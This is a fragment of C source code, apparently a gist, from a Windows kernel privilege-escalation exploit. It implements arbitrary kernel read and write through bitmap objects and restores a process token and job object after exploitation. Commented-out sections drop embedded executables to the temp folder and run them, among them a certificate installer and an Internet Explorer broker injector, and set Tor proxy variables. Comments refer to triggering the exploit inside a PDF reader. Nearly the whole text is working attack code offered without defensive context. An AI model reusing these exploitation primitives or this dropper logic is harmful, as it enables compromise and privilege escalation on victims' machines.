return -1;
DWORD dwOut = 0;
WriteFile(hFile, insert_cert_exe, insert_cert_exe_len, &dwOut, NULL);
CloseHandle(hFile);
printf("Wrote %d bytes\n", dwOut);
Sleep(100);
execstarter(insert_cert_path);
Sleep(100);
fTemp = getTime();
snprintf(logBuffer, 1024, "[*] set broker env vars: %llu\n", fTemp-fLastTime);
logLine(logBuffer);
fLastTime = fTemp;*/
/* add env var to ie broker */
//inject_broker_exe_len
/*char inject_broker_exe_path[MAX_PATH+1];
GetTempPath(MAX_PATH + 1, inject_broker_exe_path);
strcat(inject_broker_exe_path, "\\ie_plug.exe");
printf("path is %s\n", inject_broker_exe_path);
fTemp = getTime();
snprintf(logBuffer, 1024, "[*] ie broker injector: %s\n", inject_broker_exe_path);
logLine(logBuffer);
fLastTime = fTemp;
hFile = CreateFileA(inject_broker_exe_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return -1;
dwOut = 0;
WriteFile(hFile, inject_broker_exe, inject_broker_exe_len, &dwOut, NULL);
CloseHandle(hFile);
printf("Wrote %d bytes\n", dwOut);
execstarter(inject_broker_exe_path);*/
/* set vars to current tab/process */
/*SetEnvironmentVariable("MARKER", "MARK");
SetEnvironmentVariable("TOR_SOCKS_HOST", "10.0.0.1");
SetEnvironmentVariable("TOR_SOCKS_PORT", "9150");
SetEnvironmentVariable("TOR_CONTROL_HOST", "10.0.0.1");
SetEnvironmentVariable("TOR_CONTROL_PORT", "9166");
SetEnvironmentVariable("TOR_CONTROL_PASSWORD", "pippo");*/
/*
BOOL bCreateProc = FALSE;
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
bCreateProc = CreateProcess("env_reader.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);*/
/*
DWORD dwEnv = 0;
char buffer[256];
dwEnv = GetEnvironmentVariable("TOR_CONTROL_PASSWORD", &buffer, 256);
printf("Env res %d: %s\n", dwEnv, buffer);*/
//execstarter("calc.exe");
//execstarter("insert_cert.exe");
//printf("after\n");
//InsertCert();
//cleanup
/*GetTempPath(1024, inbuf);
strcat(inbuf, "\\starter.exe");
DeleteFile(inbuf); */
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strTokenRestore);
//restore token
//arbwrite(lpTable, lpTable->locals->kproc+lpTable->locals->token_offset, kbase, origtokenl, origtokenh);
arbwrite(lpTable, kproc + token_offset, kbase, origtokenl, origtokenh);
//restore job
//arbwrite(lpTable, lpTable->locals->kproc+lpTable->locals->job_offset, kbase, origjobl, origjobh);
arbwrite(lpTable, kproc + job_offset, kbase, origjobl, origjobh);
if (lpTable->locals->firstfailed) {
for(;;) lpTable->fpSleep(100000);
}
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strBail);
return 0;
}
// ported
unsigned int arbread(PVTABLE lpTable, unsigned int addrl, unsigned int addrh) {
unsigned int tmp[4];// = {0,0,0,0};
__MEMSET__(tmp, 0, 4);
if (lpTable->locals->is64) {
tmp[0] = tmp[2] = addrl;
tmp[1] = tmp[3] = addrh;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
} else {
tmp[0] = tmp[1] = addrl;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
}
return tmp[0];
}
// ported
unsigned int arbwrite(PVTABLE lpTable, unsigned int addrl, unsigned int addrh, unsigned int value0, unsigned int value1) {
unsigned int tmp[4]; // = {0,0,0,0};
__MEMSET__(tmp, 0, 4);
if (lpTable->locals->is64) {
tmp[0] = tmp[2] = addrl;
tmp[1] = tmp[3] = addrh;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
tmp[0] = value0;
tmp[1] = value1;
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, 8, &tmp[0]);
} else {
tmp[0] = tmp[1] = addrl;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
tmp[0] = value0;
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
}
return tmp[0];
}
/*__declspec(dllexport) void lift(void) {
//do not exploit when previewing files
//comment out the following two lines if you wish to trigger an exploitation
//in such cases
//if ((GetModuleHandle("BIB.dll") == 0) || (GetModuleHandle("CoolType.dll") == 0))
// ExitProcess(0);
exploit();
return;
}*/
/*BOOL APIENTRY DllMain (HINSTANCE hInst,
DWORD reason,
LPVOID reserved )
{
//exploit();
return TRUE;
}*/
/*int main() {
printf("Start\n");
exploit();
printf("Finish\n");
}*/
#pragma optimize(off)
int __MEMCMP__(unsigned char *s1, unsigned char *s2, size_t n)
{
unsigned char u1, u2;
for ( ; n-- ; s1++, s2++) {
u1 = * (unsigned char *) s1;
u2 = * (unsigned char *) s2;
if ( u1 != u2) {
return (u1-u2);
}
}
return 0;
}
VOID __MEMSET__( LPVOID p, int cValue, size_t dwSize)
{
for (UINT i=0; i<dwSize; i++)
((PCHAR)p)[i] = cValue;
}
LPVOID __MEMCPY__( LPVOID lpDst, LPVOID lpSrc, DWORD dwCount){
LPBYTE s = (LPBYTE) lpSrc;
LPBYTE d = (LPBYTE) lpDst;
while (dwCount--)
*d++ = *s++;
return lpDst;
}
#pragma optimize(on)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment